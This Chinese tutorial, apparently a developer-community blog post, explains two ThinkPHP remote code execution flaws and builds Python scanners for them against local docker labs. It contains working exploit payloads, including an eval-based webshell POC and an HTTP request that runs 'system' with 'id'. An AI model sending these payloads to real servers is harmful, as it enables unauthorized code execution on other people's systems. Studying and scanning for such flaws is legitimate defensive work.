前言

Thinkphp框架中存在很多漏洞,因此编写漏洞扫描器来检测漏洞很有必

漏洞介绍(2.x版本)

ThinkPHP 2.x版本中存在一个远程代码执行漏洞。

在ThinkPHP 2.x版本中,框架使用preg_replace/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

这个实现导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。值得注意的是,ThinkPHP 3.0版本在Lite模式下也存在这个漏洞,因为这个问题在该模式下并未被修复。

环境搭建

执行如下命令启动ThinkPHP 2.1:

docker compose up -d

环境启动后,访问http://127.0.0.1:8081/即可查看到默认页面。

漏洞复现

通过URL参数注入PHP代码来利用此漏洞。直接访问http://your-ip:8080/index.php?s=/index/index/name/${@phpinfo()},服务器将执行phpinfo()函数,证明远程代码执行漏洞利用成功:

核心

POC:
/?s=/Index/index/xxx/${@print(eval($_POST[cmd]))}
preg_relace("正则规则","替换字符","目标字符")

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
$paths));

代码

import requests
from urllib.parse import urljoin


def thinkphp_2x_scan(url):
    payload = "?s=/handsome/jing/zi/${var_dump(md5(Mirror))}"
    url = urljoin(url, payload)
    response = requests.get(url=url)

    # 判断 md5(handsome_Mirror) 在数据包中是否存在
    if '2403def5083f02105e7802b3b315681e' in response.text:
        print(response.text)
        print('漏洞存在')
    else:
        print('漏洞不存在')


if __name__ == '__main__':
    urls = 'http://127.0.0.1:8081/'
    thinkphp_2x_scan(urls)

漏洞介绍(5.0.23版本)

5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

环境搭建

执行如下命令启动一个默认的thinkphp 5.0.23环境:

docker compose up -d

环境启动后,访问 http://127.0.0.1:8082/ 即可看到默认的ThinkPHP启动页面。

漏洞复现

发送数据包:

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

代码

import requests
from urllib.parse import urljoin


headers = {
    'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0',
    'Content-Type': 'application/x-www-form-urlencoded',
}


def thinkphp_5_0_23_scan(url):
    payload = r'_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1'
    path = '/index.php?s=captcha'
    target = urljoin(url, path)
    response = requests.post(url=target, data=payload, headers=headers, verify=False)
    # print(response.text)
    if "PHP Version" in response.text:
        print("漏洞存在")
    else:
        print("漏洞不存在")


if __name__ == '__main__':
    urls = "http://127.0.0.1:8082"
    thinkphp_5_0_23_scan(urls)

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐